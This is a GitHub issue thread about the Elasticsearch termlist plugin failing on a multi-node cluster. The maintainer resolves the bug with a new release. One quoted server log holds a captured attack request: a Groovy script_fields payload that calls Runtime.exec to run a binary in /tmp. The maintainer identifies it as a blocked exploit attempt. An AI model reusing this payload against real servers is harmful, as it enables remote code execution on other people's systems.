Giter VIP home page Giter VIP logo

Comments (7)

Pytlicek avatar Pytlicek commented on August 20, 2024

{
"index" : "testpy",
"shard" : 0,
"reason" : "BroadcastShardOperationFailedException[[testpy][0] ]; nested: SendRequestTransportException[[Node1][inet[/10.10.10.3:9300]][indices/termlist[s]]]; nested: NullPointerException; "
}

from elasticsearch-index-termlist.

jprante avatar jprante commented on August 20, 2024

I can not reproduce with ES 1.4.4. Is there something in the server logs?

from elasticsearch-index-termlist.

Pytlicek avatar Pytlicek commented on August 20, 2024

Log is empty - no relative errors only info with time when es started.

When I try to call this from my machine outside elasticsearch cluster :

➜ ~ curl -XGET 'http://elk.myhost:9200/testpy/_termlist'

I got this :

{"_shards":{"total":3,"successful":0,"failed":3,"failures":[{"index":"testpy","shard":0,"reason":"BroadcastShardOperationFailedException[[testpy][0] ]; nested: SendRequestTransportException[[Node1][inet[/10.10.10.3:9300]][indices/termlist[s]]]; nested: NullPointerException; "},{"index":"testpy","shard":1,"reason":"BroadcastShardOperationFailedException[[testpy][1] ]; nested: SendRequestTransportException[[Node2][inet[/10.10.10.4:9300]][indices/termlist[s]]]; nested: NullPointerException; "},{"index":"testpy","shard":2,"reason":"BroadcastShardOperationFailedException[[testpy][2] ]; nested: SendRequestTransportException[[Node3][inet[/10.10.10.5:9300]][indices/termlist[s]]]; nested: NullPointerException; "}]},"total":0,"terms":[]}%

When I tried it on one node from cluster where is one shard from queried index : I got termlist.

Is this plugin worked with cluster configuration with more nodes ?
I have 3 - node cluster. Some indices are not on all three nodes

And, after one minute with any interaction this error appear :

[2015-03-15 14:01:19,219][DEBUG][action.search.type ] [WebMaster] [testpy][2], node[2E9QvinuTFWTcax3zPU4LA], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@5d446b80] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Node3][inet[/10.10.10.5:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [testpy][2]: query[ConstantScore(:)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.;import java.io.;String str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("./tmp/cnmm").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append("\r\n");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:687)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:543)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:515)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:277)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: dynamic scripting for [groovy] disabled
at org.elasticsearch.script.ScriptService.verifyDynamicScripting(ScriptService.java:399)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:363)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:515)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:671)
... 9 more

from elasticsearch-index-termlist.

jprante avatar jprante commented on August 20, 2024

Termlist plugin should work on all nodes, no matter where the index shards are.

The second exception is from a remote hacker who wants to exploit a script vulnerability which does not work because dynamic scripting is disabled. You should close port 9200 from public access.

from elasticsearch-index-termlist.

Pytlicek avatar Pytlicek commented on August 20, 2024

Yes, thanks.
I have 3 nodes with data, one is master.
But I have another node which is not data and not master. Only for kibana access.
I'm trying to query /indexname/_termlist from not data node.
Exits with errors.

from elasticsearch-index-termlist.

jprante avatar jprante commented on August 20, 2024

I found the bug, and it should be fixed. Please try new version 1.4.4.0.

from elasticsearch-index-termlist.

Pytlicek avatar Pytlicek commented on August 20, 2024

OK, many thanks. Now it works without any problems :)

{
"_shards" : {
"total" : 9,
"successful" : 9,
"failed" : 0
},
"total" : 26061,
"terms" : [
{
"name" : "!",
"totalfreq" : 12
},
{
"name" : "!!",
"totalfreq" : 8
},
{
"name" : "!!!",
"totalfreq" : 5
},
{
"name" : "!!!!",
"totalfreq" : 1
},
{
"name" : "!!!!!!!!!!",
"totalfreq" : 2
}
]
}

from elasticsearch-index-termlist.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.